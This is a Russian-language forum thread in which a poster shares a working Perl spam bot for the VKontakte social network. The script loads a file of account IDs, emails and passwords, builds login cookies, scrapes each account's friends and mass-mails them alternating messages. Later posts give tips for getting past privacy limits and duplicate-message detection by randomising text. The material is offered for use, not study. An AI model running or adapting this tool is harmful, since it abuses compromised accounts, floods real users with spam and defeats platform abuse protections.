написал на перле спамер Code: ####################### #####vkontakte must die###### ######(C) xXvladXx######### ####################### #!/usr/bin/perl use strict; use IO::Socket; use Digest::MD5; my $md5 = Digest::MD5->new; $|=1; open ACC,"good.txt"; my @acc=<ACC>; close ACC; my @mess=(); @mess[0]='месага номер один'; @mess[1]='месага номер два'; my @title=(); @title[0]='Заголовок 1'; @title[1]='Заголовок 2'; my @account=(); my @cookie=(); my @friend=(); my $numb=0; print "\r Cookie"; foreach (@acc){ my @acs=split(/:/,$_); my $m=@acs[1]; $m=~ s/\@/%40/; @cookie[@acs[0]]="Cookie: remixchk=5; remixmid=".@acs[0]."; remixemail=".$m."; remixpass=".md5c(@acs[2])."\r\n"; @account=(@account,@acs[0]); } foreach(@account){ print " "; print "\r Parse friend $_"; my $acf=$_; my $res=get('/friend.php',@cookie[$acf],'GET',''); my @temp = $res=~/\[.*\, \{f/gi; foreach (@temp){ my $fr=$_; $fr=~ s/\[//g; $fr=~ s/\, \{f//; $fr=~s/\n//; @friend[$acf].=$fr."--"; } } for(my $i=0;;$i++){ my $en=0; foreach(@account){ my $n=$_; $n=~s/\n//; my $frs=@friend[$n]; my @frens=(); @frens=split(/--/,$frs); if(@frens[$i] ne ''){ $en=1; &send_msg(@frens[$i],@mess[$numb],@title[$numb],@cookie[$n]); print " "; print "\r Send msg acc $n friend $i "; select(undef, undef, undef, 0.2); } } if($en==0){ last; } if($numb==0){ $numb=1; }else{ $numb=0; } } sub md5c{ my ($dat)=@_; $dat=~s/\n//; $md5->add($dat); return $md5->hexdigest; } sub get{ my $host = "vkontakte.ru"; my $port = "80"; my ($path,$cookie,$type,$post)=@_; my $socket; while ( ! ($socket = IO::Socket::INET->new("$host:$port") ) ) { print ("Not connected: $!\nSleep 1 sec\n"); sleep 1; } unless ($socket) {die "can't connect to HTTP server on $host:$port: $!"} $socket->autoflush(1); my $header="$type $path HTTP/1.0\r\n". "Accept: */*\r\n". "Accept-Language: ru\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Proxy-Connection: Keep-Alive\r\n". "Host: vkontakte.ru\r\n"; if($post){ $header.="Content-Length: ".length($post)."\r\n"; } $header.="$cookie\r\n". "$post". "\r\n"; print $socket "$header"; my @rz = <$socket>; close $socket; return join("\n",@rz); } sub send_msg{ my ($to,$msg,$title,$cookie)=@_; my $res=get('/mail.php?act=write&to='.$to,$cookie,'GET',''); if($res=~/name\=\"secure\" value\=\"(.*)\" \/>/){ &get('/mail.php',$cookie,'POST',"secure=".$1."&photo=&to_id=".$to."&to_reply=0&act=sent&title=".$title."&message=".$msg); } } рядом со скриптом надо положить файл accs.txt в формате id:loginass пример 5434862:[email protected]:123456 сильно не пинайте)
Hint-1: Если юзер запретил не-друзьям слать ему в ПМ, его тем не менее можно заставить прочитать сообщение путем добавления его в друзья с приложенным сообщением. Hint-2: Ввели новое подобие защиты: выкупаются повторяющиеся цепочки сообщений, т.е. трюк с двумя попеременным сообщениями уже не проходит. Обходится рандомизацией сообщения
Мне кажется актуального способа спама vk.com уже нет. Активность аккаунта + капча + ограничения вот и все...